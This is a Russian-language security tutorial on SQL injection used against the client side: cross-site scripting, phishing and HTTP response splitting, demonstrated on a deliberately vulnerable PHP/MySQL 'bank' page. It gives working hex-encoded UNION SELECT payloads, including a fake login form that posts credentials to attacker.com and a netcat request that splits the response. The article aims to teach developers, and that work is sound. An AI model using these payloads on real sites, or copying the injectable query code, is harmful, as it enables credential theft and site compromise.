Ещё более продвинутый SQL Injection

[SDA]

Ещё более продвинутый SQL Injection (SiXSS, SiHRS и SQL Injection на
стороне клиента).
Насколько опасна уязвимость SQL Injection ?
Предполагается, что с её помощью можно получить информацию со стороны
сервера, выполнить произвольные команды,
получить привилегии
Администратора на веб форумах и т.д. Короче говоря, SQL Injection
предполагает наличие уязвимости на стороне
сервера,
но иногда это может произойти и
на стороне клиента. На данный момент, на веб серверах, широко используются
системы управления контентом
(CSM - Content Management System). Применяется CSM по многим причинам,
одной из причин является работа с текстом и URL-ами.

В этой статье описываются несколько альтернативных способов применения SQL
Injection.
Предположим, что мы разработали CSM и эту CSM будем использовать в
банке...
Допустим, что мы случайным образом оставили SQL Injection на нашей
страничке.
Подождите! Без паники!
Мы создадим пользователя у которого не будет прав на чтиние/запись в файлы.
Удалим с сервера всю чувствительную
информацию
из баз данных, уберем форум, вообщем вытрем все, оставим один сервер.

Но все же останется несколько проблем ....
- XSS
- Phishing
- склеивание HTTP ответов. (HTTP Response Splitting)


SiXSS -SQL Injection для Cross Site Scripting

Условия

Предположим у нас имеется БД и эта БД будет как эта :

# The cms.sql file
CREATE DATABASE cms;

USE cms;

GRANT SELECT ON cms.* TO 'user_noprivs'@'localhost' IDENTIFIED BY
PASSWORD '4f665d3c1e638813';
CREATE TABLE content_table (
id INT PRIMARY KEY AUTO_INCREMENT,
content TEXT
);

INSERT INTO content_table (content) VALUES
('[h1]My Bank[/h1]
[p][form action="check.php" method=post]

User:	[input type="text" name="username"]
Password:	[input type="password" name="pass"]
[input type=submit value="LogIn"]

[/form]');

и PHP файл как этот
*
index.php

[head]
[title]My Bank[/title]
[/head]
[body]
[?
if(@isset($_GET['id'])){
$myconns=@mysql_connect("127.0.0.1","user_noprivs","unbr34k4bё3!") or
die("sorry can't connect");
@mysql_select_db("cms") or die("sorry can't select DB");
$sql_query = @mysql_query(
"select content from content_table where id=".$_GET['id']) or die("Sorry
wrong
SQL Query");
// oops SQL Injection-^
while($tmp = @mysql_fetch_row($sql_query))
echo $tmp[0]; //echoes the result as HTML code
}else{
echo "[h1]Welcome to My Bank[/h1]
[a href="?id=1"]".Login."[/a]";
}
?]
[/body]

Как видно, результаты запроса к MySQL должны будут передаватся
пользователю.
Ну что-ж, условия определены, давайте посмотрим на страничку.
На ней мы не увидим ничего особенного.
Зайдя на страничку и кликнув по ссылке, пользователь получит приглашение на
авторизацию.

Вывод.
Проблема появляется в случае, когда некоторый текст из БД поступает сразу в
HTML страницу.
Если мы попытаемся использовать классическую или продвинутую атаку SQL
Injection, мы получим некоторую
информацию о SQL сервере
и ничего больше.
Ни дефейса, ни прав на чтение/запись...
Но появляется уязвимость на стороне клиента.
Использую UNION SELECT злоумышленник сможет внедрить произольный текст.

Атака.
Давайте сделаем небольшой трюк, чтобы обойти включенные gpc_magick_quotes
используя "0xXX" HEX вместо текста:

mysql] select HEX('[script]alert(“SiXSS”);[/script]');
+-------------------------------------------------------------------------------------------------+
| HEX('[script]alert("SiXSS");[/script]')
|
+-------------------------------------------------------------------------------------------------+
| 3C7363726970743E616C6572742822536958535322293B3C2F 7363726970743E |
+-------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

и вставим это в HTTP запрос :

http://
http://www.mybank.com?id=1+union+sel...7363726970743E

Ответом будет та же страничка, но вдобавок на стороне клиента исполнится
наш скрипт
([script]alert(“SiXSS”);[/script]).
Это и будет SQL Injection для Cross Site Scripting (SiXSS)
Но что произодет при отключенных Javascripts ?
Ничего.

Атака Phishing.

Теперь, гипотетически, возможно использовать новые достижение в Phishing'e,
так как мы теперь можем внедрять
произвольный HTML код.
Это означает : никаких потдельных URL в адресе, кнопок, троянов,
шпионов...

Давайте проделаем тот-же трюк для внедрения нашего HTML кода :

mysql] select HEX('[h1]My Bank[/h1][p][form
action="http://attacker.com/check.php"
method=post]

User:	[input type="text" name="username"]
Password:	[input type="password" name="pass"]
[input type=submit value="LogIn"]

[/form]');

Результатом будет :

3C68313E4D792042616E6B3C2F68313E3C703E3C666F726D20 616374696F6E3D22687474703A2F2F61747461636B65722E63
6F6D2F636865636B2E70687022206D6574686F643D706F7374 3E3C5461626C653E3C74723E3C74643E557365723A3C2F7464
3E3C74643E3C696E70757420747970653D227465787422206E 616D653D22757365726E616D65223E3C2F74643E3C2F74723E
3C74723E3C74643E50617373776F72643A3C2F74643E3C7464 3E3C696E70757420747970653D2270617373776F726422206E
616D653D2270617373223E3C2F74643E3C2F74723E3C74723E 3C74643E3C696E70757420747970653D7375626D6974207661
6C75653D224C6F67496E223E3C2F74643E3C2F74723E3C2F74 61626C653E3C2F666F726D3E

осталось только одно: давайте скроем вывод правой части.
для этого применим ещё один трюк, вместо "SELECT" вставим "AND 1=3" и добам
наш UNION:

http://www.mybank.com?id=1+and+1%3d3+UNION+SELECT+
0x3C68313E4D792042616E6B3C2F68313E3C703E3C666F726D 20616374696F6E3D22687474703A2F2F61747461636B65722E
636F6D2F636865636B2E70687022206D6574686F643D706F73 743E3C5461626C653E3C74723E3C74643E557365723A3C2F74
643E3C74643E3C696E70757420747970653D22746578742220 6E616D653D22757365726E616D65223E3C2F74643E3C2F7472
3E3C74723E3C74643E50617373776F72643A3C2F74643E3C74 643E3C696E70757420747970653D2270617373776F72642220
6E616D653D2270617373223E3C2F74643E3C2F74723E3C7472 3E3C74643E3C696E70757420747970653D7375626D69742076
616C75653D224C6F67496E223E3C2F74643E3C2F74723E3C2F 7461626C653E3C2F666F726D3

Вот что произойдет, когда пошлем этот URL :

$ curl “http://www.mybank.com?id=1+and+1%3d3...ELECT+0x3C...”

[head]
[title]My Bank[/title]
[/head]
[body]
[h1]My Bank[/h1][p][form action="http://attacker.com/check.php"
method=post][Table][tr][td]User:[/td][td][input type="text"
name="username"][/td][/tr][tr][td]Password:[/td][td][input type="password"
name="pass"][/td][/tr][tr][td][input type=submit
value="LogIn"][/td][/tr][/table][/form]
[/body]

Вместо нормального HTML кода :

$ curl “http://www.mybank.com?id=1”

[head]
[title]My Bank[/title]
[/head]

[body]
[h1]My Bank[/h1][p][form action="check.php"
method=post][Table][tr][td]User:[/td][td][input
type="text" name="username"][/td][/tr][tr][td]Password:[/td][td][input
type="password"
name="pass"][/td][/tr][tr][td][input type=submit
value="LogIn"][/td][/tr][/table][/form]
[/body]

Это SQL Injection для Phishing.


SiHRS -SQL Injection для склеивания HTTP ответов (HTTP Response
Splitting).

В CMS или других системах, иногда бывает так, что требуется произвести
индексацию URL, для быстрого возвращения
URL основываясь на "ID"
Представим ту же ситуацию, как и для SiXSS, но на этот раз перенаправление
на URL.
Как это :

CREATE DATABASE url_db;
USE url_db;
GRANT SELECT ON url_db.* TO 'user2_nopriv'@'localhost' IDENTIFIED BY
PASSWORD '4f665d3c1e638813';
CREATE TABLE url_table (
id INT PRIMARY KEY AUTO_INCREMENT,
url TEXT
);
INSERT INTO url_table (url) VALUES
('https://brokerage.mybank.com/login.php');

для "url_db.sql" и :

[?
if(isset($_GET['id'])){
$myconns=mysql_connect("127.0.0.1","user2_nopriv", "unbr34k4bё3!") or
die("sorry can't connect");
mysql_select_db("url_db") or die("sorry can't select DB");
$sql_query = mysql_query("select url from url_table where
id=".$_GET['id']." LIMIT 1") or die
("sorry3");
$tmp = mysql_fetch_row($sql_query);
header("Location: ".$tmp[0]);
}else
header("Location: http://www.mybank.com/index.php");
?]

для перенаправляющего скрипта "redir.php"

Это означает, что если запрос будет вида :
$ curl “http://www.mybank.com/redir.php?id=1” -I

то нас направят на :

HTTP/1.1 302 Found
Date: Mon, 20 Sep 2004 21:08:03 GMT

Server: Apache-AdvancedExtranetServer/2.0.48 (Mandrake Linux/6.1.100mdk)
mod_perl/1.99_11
Perl/v5.8.3 PHP/4.3.8 mod_ssl/2.0.48 OpenSSL/0.9.7c
X-Powered-By: PHP/4.3.8
Location: https://brokerage.mybank.com/login.php
Content-Type: text/html

Это теоретическое предположение о возможной атаке склеивания HTTP ответов.

Вывод
Проблема появляется в случае, когда индексация URL для перенаправления
получает информацию из БД используя поле
"Location" в HTTP заголовке.
Проведем тесты, как с SiXSS и Phishing.
Условия те же что и при SiXSS, но здесь ещё проще использовать UNION SELECT
для внедрения строки.

Атака
Только для того что бы подтвердить теорию, проведем простую атаку :
mysql] select HEX('index.php
'] Content-Length: 0
']
'] HTTP/1.1 200 OK
'] Content-Type: text/html
'] Content-Length: 19
']
']

Shazam

'] ');

в HEX кодировке будет следующее :

696E6465782E7068700A436F6E74656E742D4C656E6774683A 20300D0A0D0A485454502F312E3120323030204F4B0D0A436F
6E74656E742D547970653A20746578742F68746D6C0D0A436F 6E74656E742D4C656E6774683A2031390D0A0D0A3C68746D6C
3E5368617A616D3C2F68746D6C3E0D0A

Теперь пошлем наш запрос :

$ echo -ne "GET /redir.php?id=1+and+2%3d%
34+union+select+0x696E6465782E7068700A436F6E74656E 742D4C656E6774683A20300D0A0D0A485454502F312E312032
3030204F4B0D0A436F6E74656E742D547970653A2074657874 2F68746D6C0D0A436F6E74656E742D4C656E6774683A203139
0D0A0D0A3C68746D6C3E5368617A616D3C2F68746D6C3E0D0A HTTP/1.1
Host: www.mybank.com
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*

" |nc www.mybank.com 80
HTTP/1.1 302 Found
Date: Mon, 20 Sep 2004 22:58:21 GMT
Server: Apache PHP/4.3.8
X-Powered-By: PHP/4.3.8
Location: index.php
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19

Shazam

Content-Length: 0
Content-Type: text/html

Каждый поймет что произошло.
Это SQL Injection для склеивания HTTP ответов.


Дополнительно
Что произойдет, если :

echo $tmp[0]; //echoes the result as HTML code

в index.php будет стоять eval () ?

eval( $tmp[0]); //eval the related php code placed in a db..

Будет очень плохо...
Используя UNION SELECT вы сможем внедрить PHP код, что приводит к
возникновению уязвимости на стороне сервера.

Как правило такая техника не используется для CMS, но, в конце концов, кто
знает ?
"Just let Fantasy be your ship in the Stream of
Consciousness"©...

Заключение.

Мы увидели, что произойдет, если разработчик будет уделять слишком много
внимания хорошой конфигурации сервера,
и совершенно не заботиться при этом о безопасности кода.
В частности, мы видели, как при очень защищенном сервере, возможно было
провести атаку SQL Injection.

http://www.wisec.it/

Примечание: символы <,> были заменены на [,] по понятной причине.